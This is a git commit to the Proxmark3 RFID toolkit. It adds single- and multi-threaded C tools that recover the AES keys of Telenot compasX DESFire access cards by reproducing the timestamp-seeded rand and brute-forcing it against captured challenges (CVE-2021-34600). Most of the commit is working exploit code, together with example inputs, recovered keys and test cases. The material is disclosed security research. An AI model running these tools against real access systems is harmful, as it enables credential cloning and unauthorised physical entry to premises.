add new bruteforce tools for teleno's compasX software

This commit is contained in:
iceman1001 2022-01-26 19:57:10 +01:00
parent 117bf7380f
commit 2bac77a84f
10 changed files with 731 additions and 2 deletions

2
.gitignore vendored
View file

@ -76,6 +76,8 @@ tools/cryptorf/sma_multi
tools/mf_nonce_brute/mf_nonce_brute
tools/mf_nonce_brute/mf_trace_brute
tools/jtag_openocd/openocd_configuration
tools/mfd_aes_brute/mfd_aes_brute
tools/mfd_aes_brute/brute_key
fpga/*
!fpga/tests

View file

@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased]
- Added new tool `brute_key` - MIFARE DESFire Telenot access AES recovery (@x41sec)
- Fixed `hf mfu dump -k` - insert PWD in dump (@doegox)
- Changed `hf mfu pwdgen` - now generate xiaomi air purifier pwd/pack (@doegox)
- Fixed `hf 14a sim` - sneaky detection of user supplied UID might be empty (@iceman1001)

View file

@ -29,7 +29,7 @@ ifneq (,$(DESTDIR))
endif
endif
all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% mf_nonce_brute/% fpga_compress/%
all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% mf_nonce_brute/% mfd_aes_brute/% fpga_compress/%
# hitag2crack toolsuite is not yet integrated in "all", it must be called explicitly: "make hitag2crack"
#all clean install uninstall check: %: hitag2crack/%
@ -105,6 +105,9 @@ nonce2key/check: FORCE
mf_nonce_brute/check: FORCE
$(info [*] CHECK $(patsubst %/check,%,$@))
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
mfd_aes_brute/check: FORCE
$(info [*] CHECK $(patsubst %/check,%,$@))
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
fpga_compress/check: FORCE
$(info [*] CHECK $(patsubst %/check,%,$@))
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
@ -138,6 +141,9 @@ nonce2key/%: FORCE
mf_nonce_brute/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/mf_nonce_brute $(patsubst mf_nonce_brute/%,%,$@) DESTDIR=$(MYDESTDIR)
mfd_aes_brute/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/mfd_aes_brute $(patsubst mfd_aes_brute/%,%,$@) DESTDIR=$(MYDESTDIR)
fpga_compress/%: FORCE cleanifplatformchanged
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/fpga_compress $(patsubst fpga_compress/%,%,$@) DESTDIR=$(MYDESTDIR)
@ -180,6 +186,7 @@ help:
@echo "+ mfkey - Make tools/mfkey"
@echo "+ nonce2key - Make tools/nonce2key"
@echo "+ mf_nonce_brute - Make tools/mf_nonce_brute"
@echo "+ mf_aes_brute - Make tools/mfd_aes_brute"
@echo "+ hitag2crack - Make tools/hitag2crack"
@echo "+ fpga_compress - Make tools/fpga_compress"
@echo
@ -218,6 +225,8 @@ nonce2key: nonce2key/all
mf_nonce_brute: mf_nonce_brute/all
mfd_aes_brute: mfd_aes_brute/all
fpga_compress: fpga_compress/all
hitag2crack: hitag2crack/all

View file

@ -0,0 +1,26 @@
MYSRCPATHS = ../../common ../../common/mbedtls
MYSRCS = util_posix.c
MYINCLUDES = -I../../include -I../../common -I../../common/mbedtls
MYCFLAGS = -march=native -Ofast
MYDEFS =
MYLDLIBS = -lcrypto
ifneq ($(SKIPPTHREAD),1)
MYLDLIBS += -lpthread
endif
BINS = brute_key mfd_aes_brute
INSTALLTOOLS = $(BINS)
include ../../Makefile.host
# checking platform can be done only after Makefile.host
ifneq (,$(findstring MINGW,$(platform)))
# Mingw uses by default Microsoft printf, we want the GNU printf (e.g. for %z)
# and setting _ISOC99_SOURCE sets internally __USE_MINGW_ANSI_STDIO=1
CFLAGS += -D_ISOC99_SOURCE
endif
brute_key : $(OBJDIR)/brute_key.o $(MYOBJS)
mfd_aes_brute : $(OBJDIR)/mfd_aes_brute.o $(MYOBJS)

View file

@ -0,0 +1,162 @@
// Brute forces transponder AES keys generated by Telenot's compasX software
// Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// requires openssl-devel
// gcc -o brute_key -march=native -Ofast orginal.c -lcrypto
//
// usage: ./$s <unix timestamp> <16 byte tag challenge> <32 byte lock challenge>
// makes it ~14% slower
//#define SPINNER
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <limits.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>
uint32_t seed = 0;
static uint32_t borland_rand(void) {
seed = (seed * 22695477) % UINT_MAX;
seed = (seed + 1) % UINT_MAX;
return (seed >> 16) & 0x7fff;
}
static void borland_srand(uint32_t s) {
seed = s;
borland_rand();
}
static void make_key(uint32_t s, uint8_t key[]) {
borland_srand(s);
for (int i = 0; i < 16; i++) {
key[i] = borland_rand() % 0xFF;
}
}
static void handleErrors(void) {
ERR_print_errors_fp(stderr);
abort();
}
// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message
static int decrypt(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) {
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;
if(!(ctx = EVP_CIPHER_CTX_new()))
handleErrors();
if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
handleErrors();
EVP_CIPHER_CTX_set_padding(ctx, 0);
if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
handleErrors();
plaintext_len = len;
if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
handleErrors();
plaintext_len += len;
EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
}
static int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) {
size_t hexstr_len = strlen(hexstr);
if (hexstr_len % 16) {
return 1;
}
if (byte_len < hexstr_len/2) {
return 2;
}
char *pos = &hexstr[0];
for (size_t count = 0; *pos != 0; count++) {
sscanf(pos, "%2hhx", &bytes[count]);
pos += 2;
}
return 0;
}
int main (int argc, char* argv[]) {
uint8_t iv[16] = {0x00};
uint8_t key[16] = {0x00};
uint8_t dec_tag[16] = {0x00};
uint8_t dec_rdr[32] = {0x00};
uint8_t tag_challenge[16] = {0x00};
uint8_t lock_challenge[32] = {0x00};
int timestamp = atoi(argv[1]);
if (argc != 4) {
printf("\nusage: %s <unix timestamp> <16 byte tag challenge> <32 byte lock challenge>\n\n", argv[0]);
return 1;
}
if(hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge)))
return 2;
if(hexstr_to_byte_array(argv[3], lock_challenge, sizeof(lock_challenge)))
return 3;
int start_time = time(NULL);
for (; timestamp < start_time; timestamp++) {
make_key(timestamp, key);
decrypt(tag_challenge, 16, key, iv, dec_tag);
decrypt(lock_challenge, 32, key, tag_challenge, dec_rdr);
// check rol byte first
if (dec_tag[0] != dec_rdr[31]) continue;
// compare rest
if (dec_tag[1] != dec_rdr[16]) continue;
if (dec_tag[2] != dec_rdr[17]) continue;
if (dec_tag[3] != dec_rdr[18]) continue;
if (dec_tag[4] != dec_rdr[19]) continue;
if (dec_tag[5] != dec_rdr[20]) continue;
if (dec_tag[6] != dec_rdr[21]) continue;
if (dec_tag[7] != dec_rdr[22]) continue;
if (dec_tag[8] != dec_rdr[23]) continue;
if (dec_tag[9] != dec_rdr[24]) continue;
if (dec_tag[10] != dec_rdr[25]) continue;
if (dec_tag[11] != dec_rdr[26]) continue;
if (dec_tag[12] != dec_rdr[27]) continue;
if (dec_tag[13] != dec_rdr[28]) continue;
if (dec_tag[14] != dec_rdr[29]) continue;
if (dec_tag[15] != dec_rdr[30]) continue;
printf("\btimestamp: %i\nkey: ", timestamp);
for (int i = 0; i < 16; i++) {
printf("%02x", key[i]);
}
printf("\n");
exit(0);
}
printf("key not found\n");
exit(2);
}

View file

@ -0,0 +1,292 @@
// Multi threaded bruteforce tool
// for transponder AES keys generated by Telenot's compasX software
// Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
// Copyright (C) 2022 Iceman
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
#define __STDC_FORMAT_MACROS
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdbool.h>
#include <limits.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include "util_posix.h"
#define AEND "\x1b[0m"
#define _RED_(s) "\x1b[31m" s AEND
#define _GREEN_(s) "\x1b[32m" s AEND
#define _YELLOW_(s) "\x1b[33m" s AEND
#define _CYAN_(s) "\x1b[36m" s AEND
// a global mutex to prevent interlaced printing from different threads
pthread_mutex_t print_lock;
static int global_found = 0;
static int thread_count = 2;
typedef struct thread_args {
int thread;
int idx;
uint64_t starttime;
uint64_t stoptime;
uint8_t tag[16];
uint8_t rdr[32];
} targs;
static void make_key(uint32_t seed, uint8_t key[]) {
uint32_t lseed = seed;
lseed = (lseed * 22695477) % UINT_MAX;
lseed = (lseed + 1) % UINT_MAX;
for (int i = 0; i < 16; i++) {
lseed = (lseed * 22695477) % UINT_MAX;
lseed = (lseed + 1) % UINT_MAX;
key[i] = ((lseed >> 16) & 0x7fff) % 0xFF;
}
}
static void handleErrors(void) {
ERR_print_errors_fp(stderr);
abort();
}
// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message
static int decrypt_aes(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) {
EVP_CIPHER_CTX *ctx;
if (!(ctx = EVP_CIPHER_CTX_new()))
handleErrors();
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
handleErrors();
EVP_CIPHER_CTX_set_padding(ctx, 0);
int len = 0;
if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
handleErrors();
int plaintext_len = len;
if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
handleErrors();
plaintext_len += len;
EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
}
static int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) {
size_t hexstr_len = strlen(hexstr);
if (hexstr_len % 16) {
return 1;
}
if (byte_len < (hexstr_len / 2)) {
return 2;
}
char *pos = &hexstr[0];
for (size_t count = 0; *pos != 0; count++) {
sscanf(pos, "%2hhx", &bytes[count]);
pos += 2;
}
return 0;
}
static void print_hex(const uint8_t *data, const size_t len) {
if (data == NULL || len == 0) return;
for (size_t i = 0; i < len; i++) {
printf("%02X", data[i]);
}
printf("\n");
}
static void print_time(uint64_t at) {
time_t t = at;
struct tm lt;
(void) localtime_r(&t, &lt);
char res[32];
strftime(res, sizeof(res), "%Y-%m-%d %H:%M:%S", &lt);
printf("%u ( '%s' )\n", (unsigned)t, res);
}
static void *brute_thread(void *arguments) {
struct thread_args *args = (struct thread_args *) arguments;
uint64_t starttime = args->starttime;
uint64_t stoptime = args->stoptime;
uint8_t local_tag[16];
uint8_t local_rdr[32];
memcpy(local_tag, args->tag, 16);
memcpy(local_rdr, args->rdr, 32);
for (uint64_t i = starttime + args->idx; i < stoptime; i += thread_count) {
if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) {
break;
}
uint8_t key[16] = {0x00};
make_key(i, key);
uint8_t iv[16] = {0x00};
uint8_t dec_tag[16] = {0x00};
decrypt_aes(local_tag, 16, key, iv, dec_tag);
uint8_t dec_rdr[32] = {0x00};
decrypt_aes(local_rdr, 32, key, local_tag, dec_rdr);
// check rol byte first
if (dec_tag[0] != dec_rdr[31]) continue;
// compare rest
if (dec_tag[1] != dec_rdr[16]) continue;
if (dec_tag[2] != dec_rdr[17]) continue;
if (dec_tag[3] != dec_rdr[18]) continue;
if (dec_tag[4] != dec_rdr[19]) continue;
if (dec_tag[5] != dec_rdr[20]) continue;
if (dec_tag[6] != dec_rdr[21]) continue;
if (dec_tag[7] != dec_rdr[22]) continue;
if (dec_tag[8] != dec_rdr[23]) continue;
if (dec_tag[9] != dec_rdr[24]) continue;
if (dec_tag[10] != dec_rdr[25]) continue;
if (dec_tag[11] != dec_rdr[26]) continue;
if (dec_tag[12] != dec_rdr[27]) continue;
if (dec_tag[13] != dec_rdr[28]) continue;
if (dec_tag[14] != dec_rdr[29]) continue;
if (dec_tag[15] != dec_rdr[30]) continue;
__sync_fetch_and_add(&global_found, 1);
// lock this section to avoid interlacing prints from different threats
pthread_mutex_lock(&print_lock);
printf("Found timestamp........ ");
print_time(i);
printf("key.................... \x1b[32m");
print_hex(key, sizeof(key));
printf(AEND);
pthread_mutex_unlock(&print_lock);
break;
}
free(args);
return NULL;
}
static int usage(const char* s) {
printf(_YELLOW_("syntax:") "\n");
printf(" %s <unix timestamp> <16 byte tag challenge> <32 byte reader response challenge>\n", s);
printf("\n");
printf(_YELLOW_("example:") "\n");
printf(" ./mfd_aes_brute 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c\n");
printf("\n");
return 1;
}
int main (int argc, char* argv[]) {
printf("\n");
printf(_CYAN_("Telenot access MIFARE DESFire AES key recovery tool") "\n");
printf("multi-threaded edition\n");
printf("-----------------------------------------------------\n");
printf("\n");
if (argc != 4) return usage(argv[0]);
uint64_t start_time = atoi(argv[1]);
uint8_t tag_challenge[16] = {0x00};
if (hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge)))
return 2;
uint8_t rdr_resp_challenge[32] = {0x00};
if (hexstr_to_byte_array(argv[3], rdr_resp_challenge, sizeof(rdr_resp_challenge)))
return 3;
printf("Starting timestamp..... ");
print_time(start_time);
printf("Tag Challenge.......... ");
print_hex(tag_challenge, sizeof(tag_challenge));
printf("Rdr Resp & Challenge... ");
print_hex(rdr_resp_challenge, sizeof(rdr_resp_challenge));
uint64_t t1 = msclock();
#if !defined(_WIN32) || !defined(__WIN32__)
thread_count = sysconf(_SC_NPROCESSORS_CONF);
if (thread_count < 2)
thread_count = 2;
#endif /* _WIN32 */
printf("\nBruteforce using " _YELLOW_("%d") " threads\n", thread_count);
pthread_t threads[thread_count];
// create a mutex to avoid interlacing print commands from our different threads
pthread_mutex_init(&print_lock, NULL);
// threads
uint64_t stop_time = time(NULL);
for (int i = 0; i < thread_count; ++i) {
struct thread_args *a = calloc(1, sizeof(struct thread_args));
a->thread = i;
a->idx = i;
a->starttime = start_time;
a->stoptime = stop_time;
memcpy(a->tag, tag_challenge, 16);
memcpy(a->rdr, rdr_resp_challenge, 32);
pthread_create(&threads[i], NULL, brute_thread, (void *)a);
}
// wait for threads to terminate:
for (int i = 0; i < thread_count; ++i) {
pthread_join(threads[i], NULL);
}
if (global_found == false) {
printf("\n" _RED_("!!!") " failed to find a key\n\n");
}
t1 = msclock() - t1;
if (t1 > 0) {
printf("execution time " _YELLOW_("%.2f") " sec\n", (float)t1 / 1000.0);
}
// clean up mutex
pthread_mutex_destroy(&print_lock);
return 0;
}

View file

@ -0,0 +1,62 @@
# AUTH AES
#
# blog: https://x41-dsec.de/lab/blog/telenot-complex-insecure-keygen/
#
# Recover the AES key for Telenot Access system's desfire cards.
# CVE-2021-34600
#
# Finds the UNIX timestamp an AES key created with compasX version older than 32.0 has been generated.
# Will not work on access tokens afterwards.
#
# Unix time stamp 2006-01-01
1136073600
# reader challenge
3fda933e2953ca5e6cfbbf95d1b51ddf
# tag resp, challenge
97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583
#
# Original source code by authors
#
# simple
./brute_key 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c
# complex
./brute_key 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583
#
# Multi threaded version (Iceman)
#
# simple
./mfd_aes_brute 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c
expected result:
261c07a23f2bc8262f69f10a5bdf3764
Bruteforce using 8 threads
Found timestamp........ 1631100305 ( '2021-09-08 13:25:05' )
key.................... 261c07a23f2bc8262f69f10a5bdf3764
execution time 1.00 sec
#
# complex
./mfd_aes_brute 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583
expected result:
e757178e13516a4f3171bc6ea85e165a
Bruteforce using 8 threads
Found timestamp........ 1606834416 ( '2020-12-01 15:53:36' )
key.................... e757178e13516a4f3171bc6ea85e165a
execution time 18.54 sec

View file

@ -0,0 +1,137 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// utilities requiring Posix library functions
//-----------------------------------------------------------------------------
// ensure availability even with -std=c99; must be included before
#if !defined(_WIN32)
//#define _POSIX_C_SOURCE 199309L // need nanosleep()
#define _POSIX_C_SOURCE 200112L // need localtime_r()
#else
#include <windows.h>
#endif
#include "util_posix.h"
#include <stdint.h>
#include <time.h>
// Timer functions
#if !defined (_WIN32)
#include <errno.h>
static void nsleep(uint64_t n) {
struct timespec timeout;
timeout.tv_sec = n / 1000000000;
timeout.tv_nsec = n % 1000000000;
while (nanosleep(&timeout, &timeout) && errno == EINTR);
}
void msleep(uint32_t n) {
nsleep(1000000 * (uint64_t)n);
}
#endif // _WIN32
#ifdef __APPLE__
#ifndef CLOCK_MONOTONIC
#define CLOCK_MONOTONIC (1)
#endif
#ifndef CLOCK_REALTIME
#define CLOCK_REALTIME (2)
#endif
#include <sys/time.h>
#include <mach/clock.h>
#include <mach/mach.h>
#include <mach/mach_time.h>
/* clock_gettime is not implemented on OSX prior to 10.12 */
int _civet_clock_gettime(int clk_id, struct timespec *t);
int _civet_clock_gettime(int clk_id, struct timespec *t) {
memset(t, 0, sizeof(*t));
if (clk_id == CLOCK_REALTIME) {
struct timeval now;
int rv = gettimeofday(&now, NULL);
if (rv) {
return rv;
}
t->tv_sec = now.tv_sec;
t->tv_nsec = now.tv_usec * 1000;
return 0;
} else if (clk_id == CLOCK_MONOTONIC) {
static uint64_t clock_start_time = 0;
static mach_timebase_info_data_t timebase_info = {0, 0};
uint64_t now = mach_absolute_time();
if (clock_start_time == 0) {
mach_timebase_info(&timebase_info);
clock_start_time = now;
}
now = (uint64_t)((double)(now - clock_start_time)
* (double)timebase_info.numer
/ (double)timebase_info.denom);
t->tv_sec = now / 1000000000;
t->tv_nsec = now % 1000000000;
return 0;
}
return -1; // EINVAL - Clock ID is unknown
}
/* if clock_gettime is declared, then __CLOCK_AVAILABILITY will be defined */
#ifdef __CLOCK_AVAILABILITY
/* If we compiled with Mac OSX 10.12 or later, then clock_gettime will be declared
* but it may be NULL at runtime. So we need to check before using it. */
int _civet_safe_clock_gettime(int clk_id, struct timespec *t);
int _civet_safe_clock_gettime(int clk_id, struct timespec *t) {
if (clock_gettime) {
return clock_gettime(clk_id, t);
}
return _civet_clock_gettime(clk_id, t);
}
#define clock_gettime _civet_safe_clock_gettime
#else
#define clock_gettime _civet_clock_gettime
#endif
#endif
// a milliseconds timer for performance measurement
uint64_t msclock(void) {
#if defined(_WIN32)
#include <sys/types.h>
// WORKAROUND FOR MinGW (some versions - use if normal code does not compile)
// It has no _ftime_s and needs explicit inclusion of timeb.h
#include <sys/timeb.h>
struct _timeb t;
_ftime(&t);
return 1000 * (uint64_t)t.time + t.millitm;
// NORMAL CODE (use _ftime_s)
//struct _timeb t;
//if (_ftime_s(&t)) {
// return 0;
//} else {
// return 1000 * t.time + t.millitm;
//}
#else
struct timespec t;
clock_gettime(CLOCK_MONOTONIC, &t);
return (1000 * (uint64_t)t.tv_sec + t.tv_nsec / 1000000);
#endif
}

View file

@ -0,0 +1,26 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// utilities requiring Posix library functions
//-----------------------------------------------------------------------------
#ifndef UTIL_POSIX_H__
#define UTIL_POSIX_H__
#include "common.h"
#ifdef _WIN32
# include <windows.h>
# define sleep(n) Sleep(1000 *(n))
# define msleep(n) Sleep((n))
#else
void msleep(uint32_t n); // sleep n milliseconds
#endif // _WIN32
uint64_t msclock(void); // a milliseconds clock
#endif

View file

@ -12,6 +12,7 @@ TESTALL=true
TESTMFKEY=false
TESTNONCE2KEY=false
TESTMFNONCEBRUTE=false
TESTMFDAESBRUTE=false
TESTHITAG2CRACK=false
TESTFPGACOMPRESS=false
TESTBOOTROM=false
@ -26,7 +27,7 @@ while (( "$#" )); do
case "$1" in
-h|--help)
echo """
Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|mf_nonce_brute|fpga_compress|bootrom|armsrc|client|recovery|common]
Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|mf_nonce_brute|mfd_aes_brute|fpga_compress|bootrom|armsrc|client|recovery|common]
--long: Enable slow tests
--opencl: Enable tests requiring OpenCL (preferably a Nvidia GPU)
--clientbin ...: Specify path to proxmark3 binary to test
@ -66,6 +67,11 @@ Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|
TESTMFNONCEBRUTE=true
shift
;;
mfd_aes_brute)
TESTALL=false
TESTMFDAESBRUTE=true
shift
;;
fpga_compress)
TESTALL=false
TESTFPGACOMPRESS=true
@ -281,6 +287,12 @@ while true; do
if ! CheckFileExist "mf_nonce_brute exists" "$MFNONCEBRUTEBIN"; then break; fi
if ! CheckExecute slow "mf_nonce_brute test 1/2" "$MFNONCEBRUTEBIN 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a" "Key found \[.*ffffffffffff.*\]"; then break; fi
if ! CheckExecute slow "mf_nonce_brute test 2/2" "$MFNONCEBRUTEBIN 96519578 d7e3c6ac 0011 cd311951 9da49e49 0010 2bb22e00 0100 a4f7f398" "Key found \[.*3b7e4fd575ad.*\]"; then break; fi
fi
if $TESTALL || $TESTMFDAESBRUTE; then
echo -e "\n${C_BLUE}Testing mfd_aes_brute:${C_NC} ${MFDASEBRUTEBIN:=./tools/mfd_aes_brute/mfd_aes_brute}"
if ! CheckFileExist "mfd_aes_brute exists" "$MFDASEBRUTEBIN"; then break; fi
if ! CheckExecute "mfd_aes_brute test 1/2" "$MFDASEBRUTEBIN 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c" "key.................... 261c07a23f2bc8262f69f10a5bdf3764"; then break; fi
if ! CheckExecute slow "mfd_aes_brute test 2/2" "$MFDASEBRUTEBIN 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583" "key.................... e757178e13516a4f3171bc6ea85e165a"; then break; fi
fi
# hitag2crack not yet part of "all"
# if $TESTALL || $TESTHITAG2CRACK; then